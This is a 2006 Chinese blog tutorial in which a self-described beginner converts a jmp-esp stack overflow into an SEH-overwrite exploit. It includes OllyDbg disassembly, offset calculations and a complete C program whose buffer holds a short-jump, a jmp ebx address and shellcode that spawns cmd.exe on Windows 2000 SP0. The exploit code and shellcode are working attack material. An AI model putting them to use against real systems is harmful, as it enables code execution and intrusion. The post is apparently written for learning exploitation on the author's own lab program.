利用异常处理执行shellcode实例

原创 2006年06月24日 14:54:00



    在《Q版缓冲区溢出教程》中有一个例子,如下:

#include <stdio.h>
#include <string.h>
char name[] =
"/x41/x41/x41/x41"       //name[0] - name[3]  
"/x41/x41/x41/x41"       //name[4] - name[7] 
"/x41/x41/x41/x41"       //ebp
"/x12/x45/xfa/x7f"         //通用jmp esp地址: 7ffa4512

/* 以下shellcode将开启一个cmd. */
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x60/x1e/x80/x7c"  //2003 sp1上LoadLibraryA地址:0x7c801e60
"/x52/x8D/x45/xF4/x50" 
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/x83/xa0/xb8/x77"  //2003 sp1上system地址:0x77b8a083
"/xFF/xD0";

int main()
{
 

 char output[8];
 int i;

 strcpy(output, name);

 for(i=0; i<8 && output[i]; i++)
 {

  printf("//0x%x",output[i]);
 }
 printf("/n");
 return 0;
}
    这里它用的是用jmp esp覆盖返回点的方法,即原保存eip地址的地方被覆盖成了jmp esp,当执行retn时,相当于执行:pop eip,jmp eip。也就是会把jmp esp的地址赋给eip,然后eip就会去执行jmp esp,而由于pop eip时栈顶指针往下(即高址方向)移了一字节,刚好指向我们的shellcode地址,所以jmp esp就会执行到我们的shellcode了。
    后来看了利用异常处理来执行shellcode的方法,很想找个机会实践实践,于是我对上面这个程序重新进行了分析,把原来jmp esp的溢出方式改成了jmp ebx方式,分析过程如下:

    首先将char name[]的值赋的长一点(具体多长我心里也没数),使其覆盖异常处理入口,用debug模式编译出程序,然后用OllyDbg V1.10反汇编,代码如下:

00401270 s>/$  55            push ebp
00401271   |.  8BEC          mov ebp,esp
00401273   |.  6A FF         push -1
00401275   |.  68 38014200   push strcpyFl.00420138
0040127A   |.  68 743F4000   push strcpyFl.00403F74           ;SE 句柄安装
0040127F   |.  64:A1 0000000>mov eax,dword ptr fs:[0]         ;此时栈顶值即为异常处理函数地址,即ESP=0012FFB4
00401285   |.  50            push eax
00401286   |.  64:8925 00000>mov dword ptr fs:[0],esp
0040128D   |.  83C4 F0       add esp,-10
00401290   |.  53            push ebx
00401291   |.  56            push esi
00401292   |.  57            push edi
00401293   |.  8965 E8       mov dword ptr ss:[ebp-18],esp

    为什么这里栈顶值就是异常处理入口呢?这里涉及到异常处理的一些原理,可以看看czy写的《利用SEH执行shellcode》,文章地址:http://elfhack.whitecell.org/chinesedocs/seh1.txt
    他文章写的有些难度,像我等菜鸟估计也不好懂,这里我将我自已的理解写出来,大家可以参考一下。他文章中提到,fs:[0]指向一个_EXCEPTION_REGISTRATION结构(我理解就是指向异常处理入口),这个_EXCEPTION_REGISTRATION结构如下:

struct _EXCEPTION_REGISTRATION
{
    前一个_EXCEPTION_REGISTRATION结构;
    异常处理函数入口;
}

    每个_EXCEPTION_REGISTRATION结构包括两个指针,前一个指针指向前一个_EXCEPTION_REGISTRATION,以形成一个链(如果不懂什么叫链可以看一下c语言版的数据结构)。后一个指针指向的是异常处理函数的地址。
    这里要提醒一点,异常处理入口和异常处理函数的地址是不同的,如下:

struct _EXCEPTION_REGISTRATION                <--地址1,这里对应的就是异常处理函数地址-4,即0012FFB0
{
    前一个_EXCEPTION_REGISTRATION结构;  <--地址2,这里的值和地址1是一样的
    异常处理函数入口;                                            <--地址3,这里对应的就是上面分析出来的0012FFB4
}

    异常处理入口指的是地址1,其实地址1和地址2的值是一样的,因为结构的地址其实就是结构中第一个成员的地点。
    异常处理函数的地址(地址3) = 前一个_EXCEPTION_REGISTRATION结构(地址2) + 4,为什么是加4呢?因为地址2是指针,占4个字节。

    前面说的fs:[0]指向一个_EXCEPTION_REGISTRATION结构,就是指fs:[0]指向地址1(也就是地址2),当发生异常的时候,会执行地址3指向的函数,我们要做的有两件事情,一是将地址1的值换成jmp 04,二是将地址3中的值换成jmp ebx。 jmp 04对应的值为:"04eb9090,所以也就是要将地1的值换成:04eb9090。而jmp ebx的通用地址是:0x7ffa1571,所以就是将地址3的值换成7ffa1571。

    接下来我们要做的就是找到返回点的地址(其实jmp esp例子中已经找过了)。

    继续跟踪,发现00401354处的call里执行的就是我们的代码,按F7跟进去。

00401354   |.  E8 ACFCFFFF   call strcpyFl.00401005

    这一句执行后,就会跳到下面:

00401005   /$ /E9 06000000   jmp strcpyFl.00401010
0040100A   |  |CC            int3
0040100B   |  |CC            int3
0040100C   |  |CC            int3
0040100D   |  |CC            int3
0040100E   |  |CC            int3
0040100F   |  |CC            int3
00401010   |> /55            push ebp
00401011   |.  8BEC          mov ebp,esp
00401013   |.  83EC 4C       sub esp,4C
00401016   |.  53            push ebx
00401017   |.  56            push esi
00401018   |.  57            push edi
00401019   |.  8D7D B4       lea edi,dword ptr ss:[ebp-4C]
0040101C   |.  B9 13000000   mov ecx,13
00401021   |.  B8 CCCCCCCC   mov eax,CCCCCCCC
00401026   |.  F3:AB         rep stos dword ptr es:[edi]
00401028   |.  68 98334200   push strcpyFl.00423398
0040102D   |.  8D45 F8       lea eax,dword ptr ss:[ebp-8]
00401030   |.  50            push eax
00401031   |.  E8 0A010000   call strcpyFl.00401140
00401036   |.  83C4 08       add esp,8
00401039   |.  C745 F4 00000>mov dword ptr ss:[ebp-C],0
00401040   |.  EB 09         jmp short strcpyFl.0040104B
00401042   |>  8B4D F4       /mov ecx,dword ptr ss:[ebp-C]
00401045   |.  83C1 01       |add ecx,1
00401048   |.  894D F4       |mov dword ptr ss:[ebp-C],ecx
0040104B   |>  837D F4 08     cmp dword ptr ss:[ebp-C],8
0040104F   |.  7D 24         |jge short strcpyFl.00401075
00401051   |.  8B55 F4       |mov edx,dword ptr ss:[ebp-C]
00401054   |.  0FBE4415 F8   |movsx eax,byte ptr ss:[ebp+edx-8]
00401059   |.  85C0          |test eax,eax
0040105B   |.  74 18         |je short strcpyFl.00401075
0040105D   |.  8B4D F4       |mov ecx,dword ptr ss:[ebp-C]
00401060   |.  0FBE540D F8   |movsx edx,byte ptr ss:[ebp+ecx-8]
00401065   |.  52            |push edx                                ; /Arg2
00401066   |.  68 20004200   |push strcpyFl.00420020                  ; |Arg1 = 00420020 ASCII "/0x%x"
0040106B   |.  E8 50000000   |call strcpyFl.004010C0                  ; /strcpyFl.004010C0
00401070   |.  83C4 08       |add esp,8
00401073   |.^ EB CD         /jmp short strcpyFl.00401042
00401075   |>  68 1C004200   push strcpyFl.0042001C                   ; /Arg1 = 0042001C
0040107A   |.  E8 41000000   call strcpyFl.004010C0                   ; /strcpyFl.004010C0
0040107F   |.  83C4 04       add esp,4
00401082   |.  33C0          xor eax,eax
00401084   |.  5F            pop edi
00401085   |.  5E            pop esi
00401086   |.  5B            pop ebx
00401087   |.  83C4 4C       add esp,4C
0040108A   |.  3BEC          cmp ebp,esp
0040108C   |.  E8 9F010000   call strcpyFl.00401230
00401091   |.  8BE5          mov esp,ebp
00401093   |.  5D            pop ebp
00401094   /.  C3            retn          ;这里是返回点,此时ESP=0012FF84,

    从上面分析可知,返回点地址为0012FF84,异常处理入口点为:0012FFB0,结合jmp esp例子,我们可以得到要覆盖的结果了:

"/x41/x41/x41/x41"       //name[0] - name[3]  
"/x41/x41/x41/x41"       //name[4] - name[7] 
"/x41/x41/x41/x41"       //ebp
"/x12/x45/xfa/x7f"         //通用jmp esp地址: 7ffa4512

"/x41/x41/x41/x41"      //从这里开始覆盖40个字节长度,就能达到异常处理入口处了    |
"/x41/x41/x41/x41"      //                                                                                                             |
...                                   //                                                                                                       40字节
"/x41/x41/x41/x41"      //                                                                                                             |
"/x41/x41/x41/x41"      //                                                                                                             |

"/x90/x90/xeb/x04"     //这里就是异常处理入口了,覆盖成:jmp 04
"/x71/x15/xfa/x7f"        //这里是异常处理函数地址,覆盖成jmp ebx的通用地址:7ffa1571

    从以上的shellcode也可以看出来,异常处理入口前面的字符长度为8+4+4+40=56字节。这前面的56字节我们可以用随意构造。最后成功溢出的代码如下:

/*
 * strcpyFlow.c
 * by:∮明天去要饭
 *
http://blog.csdn.net/kgdiwss
 */

#include <stdio.h>
#include <string.h>

char name[] =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcd" 
//56个字节(前8字节为output[8]的长度,后48字节为溢出的长度)
"/x90/x90/xeb/x04"    //jmp 04
"/x71/x15/xfa/x7f"      //jmp ebx通用地址

//以下shellcode将开启一个cmd.
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x23/x80/xE7/x77"   //2000 sp0上LoadLibraryA地址:0x77E78023
"/x52/x8D/x45/xF4/x50" 
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/xAD/xAA/x01/x78"   //2000 sp0上system地址:0x7801AAAD
"/xFF/xD0";


int main()
{
 
 
 char output[8];
 int i;

 strcpy(output, name);
 
 for(i=0; i<8 && output[i]; i++)
 {
  
  printf("//0x%x",output[i]);
 }
 printf("/n");

 return 0;
}

    此程序运行到返回点时,堆栈中的数据如下:

运行后效果截图(弹出一个cmd):

    本例代码在windows2000 sp0上溢出通过。
   虽然这只是一个小小的实验,但花了我好多天的时间, 本人在测试过程中遇到如下问题:
    1。异常处理函数地址我找不到。
    2。我将windwos2003上的shellcode用在了windows2000 sp0上,却忘了进行修改,后来跟踪时才发现其实已经执行我的shellcode了,只是由于system等函数地址不正确才会又提示异常。
    所以说菜鸟每走一步都是很辛苦的,当我早上溢出成功的时候,真的是非常的高兴。同时再一次验证了:人要靠自已这句话。在测试过程中当然也问了不少朋友,无论他们有没有能提供帮助,都非常感谢他们。
   另外就是本人初学溢出编程,所以文章中如果发现了错误,请告知本人,不胜感激。

版权声明:本文为博主原创文章,未经博主允许不得转载。 举报

相关文章推荐

python异常处理实例教程(捕捉异常、错误)

#一个最简单的异常捕捉(int 和 str 不能做+ ) try: print("aaa"+2) except: print("Error!\n") #以下接收具体错误类型, #"T...

Java求矩形面积和圆形面积的异常处理实例

题目有一个圆形和长方形。 都可以获取面积,对于如果如果出现非法值,视为是获取面积出现问题。 问题通过异常来表示。 现在对这个程序进行基本设计代码如下package com.liuyanzhao; cl...

精选:深入理解 Docker 内部原理及网络配置

网络绝对是任何系统的核心,对于容器而言也是如此。Docker 作为目前最火的轻量级容器技术,有很多令人称道的功能,如 Docker 的镜像管理。然而,Docker的网络一直以来都比较薄弱,所以我们有必要深入了解Docker的网络知识,以满足更高的网络需求。

python3的异常处理

#使用异常处理,可以在程序因发生异常时继续往下执行。若没有异常处理,程序在发生异常时就会退出 1.异常处理的基本语法 2.常用的异常名 3.except 语句的几种用法 4.raise...

【Android实战】Android中处理崩溃异常

public class MainActivity extends ActionBarActivity { public CrashApplication application; @Over...

Struts2_类型转换错误消息的显示和定制

类型转换概述 从一个HTML表单到一个Action对象,类型转换是从字符串到非字符串 --HTTP没有“类型”的概念,每一项表单输入只可能是一个字符串或一个字符串数组。在服务器端,必须把Str...

C++异常处理实例

/************************************************************************************************ *...

stuts异常处理实例

struts2异常处理机制 struts2的框架中采用声明式异常处理机制。开发者只需要在struts.xml文件中进行配置,struts便能够处理异常,然后响应相应的视图,在Action中无须编写任...

java 异常处理的语句执行

概念 1.try 如果在一个方法内部出现了异常(或者在方法内部调用的其他方法抛出了异常),这个方法将在抛出异常的过程中结束。 异常处理理论上有两种基本模型。终止模型和恢复模型。个人理...

在try中写了return,后面又写了finally,是先执行return还是先执行fianlly

在java的学习中,关于异常的处理是很重要的一环,笔者最近在学习这一方面的知识时就遇到了一个问题:就是在try语句块中写了return,但后面又写了finally语句,那么程序到底是先执行return...

php中try catch捕获异常实例详解

本文实例讲述了php中try catch捕获异常。分享给大家供大家参考。具体方法分析如下: php中try catch可以帮助我们捕获程序代码的异常了,这样我们可以很好的处理一些不必要的错误了,感兴...
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)